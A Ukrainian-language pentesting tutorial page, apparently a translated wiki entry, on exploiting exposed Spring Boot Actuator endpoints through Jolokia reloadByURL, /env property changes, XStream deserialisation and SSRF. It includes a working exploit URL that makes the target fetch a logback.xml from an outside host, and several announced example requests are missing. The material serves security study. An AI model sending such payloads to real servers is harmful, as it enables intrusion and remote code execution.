Spring Actuators
Spring Auth Bypass
З https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
Exploiting Spring Boot Actuators
Перевірте оригінальну публікацію з [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
Ключові моменти:
Spring Boot Actuators реєструють кінцеві точки, такі як
/health
,/trace
,/beans
,/env
тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише/health
і/info
за замовчуванням не є чутливими, але розробники часто відключають цю безпеку.Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії:
/dump
,/trace
,/logfile
,/shutdown
,/mappings
,/env
,/actuator/env
,/restart
та/heapdump
.У Spring Boot 1.x актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом
/actuator/
.
Техніки експлуатації:
Віддалене виконання коду через '/jolokia':
Кінцева точка актора
/jolokia
відкриває бібліотеку Jolokia, яка дозволяє HTTP доступ до MBeans.Дію
reloadByURL
можна експлуатувати для перезавантаження конфігурацій журналювання з зовнішнього URL, що може призвести до сліпого XXE або віддаленого виконання коду через спеціально підготовлені XML конфігурації.Приклад URL для експлуатації:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
.
Модифікація конфігурації через '/env':
Якщо присутні бібліотеки Spring Cloud, кінцева точка
/env
дозволяє модифікацію властивостей середовища.Властивості можна маніпулювати для експлуатації вразливостей, таких як вразливість десеріалізації XStream у службі Eureka serviceURL.
Приклад POST запиту для експлуатації:
Інші корисні налаштування:
Властивості, такі як
spring.datasource.tomcat.validationQuery
,spring.datasource.tomcat.url
таspring.datasource.tomcat.max-active
, можна маніпулювати для різних експлуатацій, таких як SQL-ін'єкція або зміна рядків підключення до бази даних.
Додаткова інформація:
Повний список стандартних актюаторів можна знайти тут.
Кінцева точка
/env
у Spring Boot 2.x використовує формат JSON для модифікації властивостей, але загальна концепція залишається такою ж.
Схожі теми:
Env + H2 RCE:
Деталі про експлуатацію комбінації кінцевої точки
/env
та бази даних H2 можна знайти тут.
SSRF на Spring Boot через неправильне тлумачення імені шляху:
Обробка матричних параметрів (
;
) у HTTP іменах шляхів фреймворком Spring може бути використана для Server-Side Request Forgery (SSRF).Приклад запиту для експлуатації:
Last updated